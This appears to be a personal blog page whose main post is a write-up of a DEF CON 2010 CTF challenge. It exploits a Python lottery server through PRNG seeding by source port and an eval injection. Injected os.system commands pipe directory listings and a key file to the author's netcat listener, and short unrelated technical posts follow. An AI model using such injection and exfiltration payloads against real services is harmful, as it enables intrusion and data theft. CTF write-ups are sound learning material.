0

Pwtent Pwnable 200 Writeup CTF Quals 2010

-

This post is a writeup of the Pwtent Pwnable 200 Challenge in Defcon 2010 CTF Quals.
The question was:
Running on pwn8.ddtek.biz. And this file was given.

If you open this file in an editor you see the following screen:

Note that there are references to lottod.pys file which indicates that this could be a python script file.  Sure enough, if you decompile it using decompyle you get the following source.

class ForkedTCPRequestHandler(SocketServer.StreamRequestHandler):
    __module__ = __name__
    lotto_grid = None
    connstream_fobj = None

    def setup(self):
        signal.signal(signal.SIGALRM, self.handleSessionTimeout)
        signal.alarm(SESSION_LIMIT_TIME)

    def handleSessionTimeout(self, signum, frame):
        raise socket.timeout

    def createWinners(self):
        winners = set()
        while (len(winners) < PICK_SIZE):
            winners.update([random.randint(1, RAND_MAX)])

        return winners

    def pickRandom(self):
        picks = set()
        llen = len(self.lotto_grid)
        rand_base = (len(picks) - 1)
        while (len(picks) < PICK_SIZE):
            i = random.randint(rand_base, RAND_MAX)
            if (i < 1):                 ++i             if ((i > llen) and ((i % llen) == 0)):
                i += 1
            i = (i % llen)
            picks.update([i])

        return picks

    def genGrid(self):
        grid = [WINNER_CHECK_FUNCTION]
        while (len(grid) != LOTTO_GRID_SIZE):
            grid.append(random.randint(0, RAND_MAX))

        return grid

    def checkWinners(self, element):
        winner = True
        for n in self.winners:
            winner = (winner & (n in [ self.lotto_grid[p] for p in self.pick_list ]))

        if winner:
            self.request.send('ZOMG You won!!!\n')
        else:
            self.request.send("Sorry you aren't very lucky... Maybe you have better luck with women?\n")

    def playGame(self):
        self.request.send('Thanks for your choices, calculating if you won...')
        eval(self.lotto_grid[0])(self.lotto_grid[1:])

    def getLine(self, msg):
        self.request.send(msg)
        return self.connstream_fobj.readline(MAX_READ)

    def handlePickChange(self):
        for r in range(0, MAX_PICK_CHANGES):
            input = self.getLine('Input the number of the pick that you wish to change or newline to stop:\n')
            if (input.strip() == ''):
                break
            else:
                idx_to_edit = int(input)
                l = self.getLine('Input your new pick\n')
                self.lotto_grid[self.pick_list[idx_to_edit]] = l

    def handle(self):
        rand_seed = self.request.getpeername()[1]
        self.connstream_fobj = self.request.makefile()
        random.seed(rand_seed)
        self.request.send('Welcome to lottod good luck!\n')
        self.lotto_grid = self.genGrid()
        self.pick_list = list(self.pickRandom())
        self.winners = self.createWinners()
        self.request.send('Your random picks are:\n')
        for pick_idx in range(0, PICK_SIZE):
            self.request.send(('%d. %s\n' % (pick_idx,
             self.lotto_grid[self.pick_list[pick_idx]])))

        self.handlePickChange()
        self.playGame()

class ForkedTCPServer(SocketServer.ForkingMixIn,
 SocketServer.TCPServer):
    __module__ = __name__
    timeout = 5
    request_queue_size = 10

def runServer():
    (HOST, PORT,) = ('0.0.0.0',
     10024)
    server = ForkedTCPServer((HOST,
     PORT), ForkedTCPRequestHandler)
    server.serve_forever()

def doFork(n):
    try:
        pid = fork()
        if ((pid > 0) and (n > 0)):
            print ('Lottod PID %d' % pid)
        if (pid > 0):
            exit(0)
    except OSError, e:
        print ('Fork %d failed %d (%s)' % (n,
         e.errno,
         e.strerror))
        exit(1)

if (__name__ == '__main__'):
    doFork(0)
    chdir('/')
    setsid()
    umask(0)
    doFork(1)
    runServer()

# local variables:
# tab-width: 4

If you notice, this indicates that the server is running on port 10024 and indeed it was on pwn8.ddtek.biz. If you read through the code you also see that the source port number is being used as a seed to the pseudo-random number generator (PRNG).

rand_seed = self.request.getpeername()[1]

So I fired up netcat to see if indeed that was the case and sure enough no matter how many times I fired up the command the options I’d see would always be the same.

# nc -vv -p 1  pwn8.ddtek.biz 10024

If you see through the code of the decompiled file, it shows that the location to write as well the value to be written can be controlled by the user in the following snippet:

    def handlePickChange(self):
        for r in range(0, MAX_PICK_CHANGES):
            input = self.getLine('Input the number of the pick that you wish to change or newline to stop:\n')
            if (input.strip() == ''):
                break
            else:
                idx_to_edit = int(input)
                l = self.getLine('Input your new pick\n')
                self.lotto_grid[self.pick_list[idx_to_edit]] = l

So I first wrote up a python script that followed the exact sequence of command as the decompiled code and found that there was no combination in the 65535 source port (or seeds) that would satisfy the following condition (the condition for winning):

    def checkWinners(self, element):
        winner = True
        for n in self.winners:
            winner = (winner & (n in [ self.lotto_grid[p] for p in self.pick_list ]))

        if winner:
            self.request.send('ZOMG You won!!!\n')
        else:
            self.request.send("Sorry you aren't very lucky... Maybe you have better luck with women?\n")

But then you also see that the first element of the self.lotto_grid list is a function pointer. Also, you notice that there’s an eval() function that essentially executed the checkWinners function.
So I wrote up the following python script that would go through all possible combinations of ports and index values to overwrite so that I could overwrite the self.lotto_grid[0] value because that’d give me control of the execution flow.

# !/usr/bin/python
import random
RAND_MAX = (2 ** 20)
PICK_SIZE = 5
MAX_READ = 128
LOTTO_GRID_SIZE = 299
SESSION_LIMIT_TIME = 30
MAX_PICK_CHANGES = 5
WINNER_CHECK_FUNCTION = 'self.checkWinners'

class Test:
    def createWinners(self):
        winners = set()
        while (len(winners) < PICK_SIZE):
            winners.update([random.randint(1, RAND_MAX)])
	#print "Winners are: ", winners
        return winners

    def pickRandom(self):
        picks = set()
        llen = len(self.lotto_grid)
        rand_base = (len(picks) - 1)
        while (len(picks) < PICK_SIZE):
            i = random.randint(rand_base, RAND_MAX)
            if (i < 1):                 ++i             if ((i > llen) and ((i % llen) == 0)):
                i += 1
            i = (i % llen)
            picks.update([i])
	return picks

    def genGrid(self):
        grid = [WINNER_CHECK_FUNCTION]
        while (len(grid) != LOTTO_GRID_SIZE):
            grid.append(random.randint(0, RAND_MAX))
	#counter = 0
	#while counter < len(grid):
	#	print grid[counter]
	#	counter += 1
        return grid

    def checkWinners(self, element):
        winner = True
        for n in self.winners:
            winner = (winner & (n in [ self.lotto_grid[p] for p in self.pick_list ]))
        if winner:
            print "ZOMG You won!!!\n'"
	    return True
        else:
            print "Sorry you aren't very lucky... Maybe you have better luck with women?\n"
	    return False

    def playGame(self):
        #self.request.send('Thanks for your choices, calculating if you won...')
        eval(self.lotto_grid[0])(self.lotto_grid[1:])

    def getLine(self, msg):
        self.request.send(msg)
        return self.connstream_fobj.readline(MAX_READ)

    def handlePickChange(self):
        for r in range(0, MAX_PICK_CHANGES):
        #    input = self.getLine('Input the number of the pick that you wish to change or newline to stop:\n')
        #    if (input.strip() == ''):
        #        break
        #    else:
        #        idx_to_edit = int(input)
        #        l = self.getLine('Input your new pick\n')
        #        self.lotto_grid[self.pick_list[idx_to_edit]] = l
		for idx_to_edit in range(-PICK_SIZE,PICK_SIZE):
			if self.lotto_grid[self.pick_list[idx_to_edit]]==self.lotto_grid[0]:
				print "Ind: %d, %s" % (idx_to_edit,self.lotto_grid[0])
				return True
	return False
	#gridcounter = 0
	#found = False
	#while gridcounter < len(self.lotto_grid):
	#  if self.lotto_grid[gridcounter] in self.winners:
	#    if gridcounter < PICK_SIZE:
	#      print "Gridctr: %d : %d" % (gridcounter,self.lotto_grid[gridcounter])
	#      found = True
	#  gridcounter += 1
	#return found
	#allfound = False
	#instances = 0
	#for x in self.winners:
	#	foundx = False
	#	gridctr = -LOTTO_GRID_SIZE
	#	while gridctr < LOTTO_GRID_SIZE:#len(self.lotto_grid):
	#			foundx = True
	#			print "gridctr: %d , val = %d " % (gridctr,x)
	#			#break
	#		gridctr += 1
	#	if foundx:
	#		allfound = True
	#	else:
	#		allfound = False
	#		return False
	#return allfound

    def handle(self,port):
        random.seed(port)
        self.lotto_grid = self.genGrid()
        self.pick_list = list(self.pickRandom())
        #print "picklist : ",self.pick_list
	self.winners = self.createWinners()
        #for pick_idx in range(0, PICK_SIZE):
        #    print(('%d. %s\n' % (pick_idx,
        #     self.lotto_grid[self.pick_list[pick_idx]])))
        if self.handlePickChange():
		return True
	return False
        #self.playGame()
	#if self.checkWinners(self.lotto_grid[1:]):
	#	return True
	#return False

test = Test()
portno = 0
while portno < 65536:
  print "Trying...%d" % ( portno )
  if test.handle(portno):
	print "Success! on port %d" % (portno)
    	#break
  portno += 1

Once you run this you get the following values for port and index: 28741 & -5 respectively.

$ sudo nc -vv pwn8.ddtek.biz 10024 -p 28741
Warning: inverse host lookup failed for 192.41.96.63: Unknown server error : Connection timed out
pwn8.ddtek.biz [192.41.96.63] 10024 (?) open
Welcome to lottod good luck!
Your random picks are:
0. self.checkWinners
1. 321358
2. 144737
3. 447310
4. 63867
Input the number of the pick that you wish to change or newline to stop:
-5
Input your new pick
self.checkWinners(self.winners.clear())
Input the number of the pick that you wish to change or newline to stop:

Thanks for your choices, calculating if you won...ZOMG You won!!!
 sent 44, rcvd 344
trance@bt:~$

But then this still does not give you the answer. The key here is to realize that you can perform remote command injection. So if you start a nc listener on your server and give following parameters for the new pick for the same index of -5 (in multiple runs of course) you can start enumerating the directories:

self.checkWinners(__import__('os').system('ls /home|nc MYIP 8888'))
self.checkWinners(__import__('os').system('ls /home/lottod|nc MYIP 8888'))
self.checkWinners(__import__('os').system('cat /home/lottod/key|nc MYIP 8888'))

After the last command your netcat listener shell shows the following string:
holdem is a safer bet than lotto

And that is indeed the answer to the challenge!

The python file is located here: Pp200sol.py.

0

Using awk with bash variables

-

I wanted to use variables in a bash script’s for loop inside awk’s print statement.
Here’s an easy way to do it – enclose the bash variable within "’"

Here’s a sample scripts to take a list of IPs and do a DNS lookup and generate a CSV:


for ip in `cat ips.txt`
do
host $ip|grep -v NXDOMAIN|sed 's/\.$//g'|awk '{print "'"$ip"'"","$NF}'
done
5

Cell SDK on PS3 with Yellow dog linux 5.0

-

People tend to think that gone are the days when the “RPM Hell” used to exist. We have yum, aptitude and what not! If you install linux on a PS3, I’d like to bring you back to reality, especially like me when you have yellowdog 5.0 installed on a first gen PS3.
What is interesting is that all these package managers rely on repositories in /etc/yum.repos.d/*.
If you do not have the good repositories then you can kiss goodbye to installing the Cell Broadband Engine SDK provided by IBM. This SDK has the spu-gcc, spu-g++ which is the right set of compilers if you want to use the 1 master processor (Power Processor Element – PPE) and the other six SPE (Synergistic Processor Elements – SPEs) …think of these as slaves. You might wonder where’s the 7th of the cell processor, well, you cannot access it because it is used internally by the PS3 for virtualization.
So I got a yellow dog 5.0 iso image from here. I followed the instructions for installing it from here. I did this almost a year ago! Yes…I did actually keep it dead for a while! Then I installed gcc and compiled John the ripper! To my utter disappointment, there was no performance benefit!
Then Marc Bevand told me at Toorcon X that I needed spu-gcc to compile JTR on PS3 to get the benefits. So I got the cell sdk ISO from here. I then mounted the ISO.
mount -o loop cellsdk11.iso /mnt/disk
cd /mnt/disk
cd software
./cellsdk install
I got bunch of errors. It wanted me to install freeglut-devel and tk-8.4.*.
Thus began my journey of 10,000 steps to get the dependencies resolved and I burnt my fingers, keyboard, brains, etc….and although I realized that everyone in the US and the world had found hope…things were not looking bright for me! Until I bumped into this fantastic repository here. Trust me it took me about 8 hours of incessant installing and compiling (almost 120 odd different files) and scores of google searches to land me into this. I installed the glut, libx11, tk, tcl, libtcl, glut-devel, libstdc++, libstdc-so7, and many other packages that I cannot even recall now to get the cellsdk to work! And even though I did, I still couldnt get ./cellsdk install to work! After about 8 hours of effort and being so close to success just seemed evil. Then I realized that all the packages needed were related to the PPC64 simulator (libx11.ppc64, libtcl.ppc.64, etc.)…a quick look into the readme told me that I could neglect that using the –nosim directive to make it work.
Finally,
./cellsdk install –nosim
worked!!!!!
A small step for mankind but a giant step for me!

0

Skype4Com API to script skype

-

I came across the interesting Skype4Com API that could aid users to dial several numbers using skype.
To install Skype4Com simply unzip the contents of the archive and execute the following command:

c:\> regsvr32 Skype4Com.dll

Upon executing this you can use the Skype4Com API using .Net (C#, VB Script) and even Python.
One can even generate DTMF tones to dial in to 1-800-numbers and automate the process so you can directly get through the initial wait times and directly speak to the customer representative.

0

nature’s signatures

-

One more in the list of technical posts! Yesterday was a day of 17 hrs in the lab (phew 🙂
So we were capturing packets but the packit tool did not randomize the source IPs enough so we were getting decent signatures for TCP traffic but not for ICMP! So looking at the signature generation I found that the checksum was also being used to get the hash value. But, when I stopped using the checksum values for generation of hash the signatures started coming properly. Antoine, somehow, thought that the IP addresses were affecting the has values that we got. But looking deeply into the code we saw that it was not the case. The conclusion (which is really surprising) is that packit was generating similar packets quite a few packets and that too from the same source IP (but they really should have been randomized!)…I don’t know whether this conclusion is correct??? May be some packit developers would be able to help me on this!
So now the challenge becomes to send those ICMP signatures across…but icmp_send() method requires skbuff structure…I looked at the net/ipv4/ipip.c file for the usage of icmp_send() methods but it is still not clear to me how it should be used!

-Rajat
Rajat’s Homepage

3

Projects…interjects…Part Deux!

-
log

Yesterday was a fantastic day trying to get the IP data field to be pointed to by in the skbuff structure. The documentation in the files did not help make things clearer.
The situation was where I was supposed to use the
unsigned char* data field in the skbuff structure to point to the IP data starting point.
Tried a lot of pointer math and the following finally worked:
IP Data pointer location:

unsigned char * ptr = sb->data +
sb->nh.iph->ihl*4;
int byte_size = ntohs(sb->nh.iph->tot_len) –
sb->nh.iph->ihl*4;

In fact, Vinay Reddy (vinayvinay@gmail.com) suggested something which I think was even better than the stuff that was working for me. He said the pointer value should be:

unsigned char * ptr = sb->nh.iph->raw + sb->nh.iph->ihl*4;

I think this actually grabs the gist of what I exactly want to do.
I *really* want to point with respect to the IP Header. I do not really care about where sb->data really points to so I guess Vinay’s method is much better. Haven’t implemented it so I really don’t know but sounds the most logical!

– Rajat
http://www-scf.usc.edu/~swarup/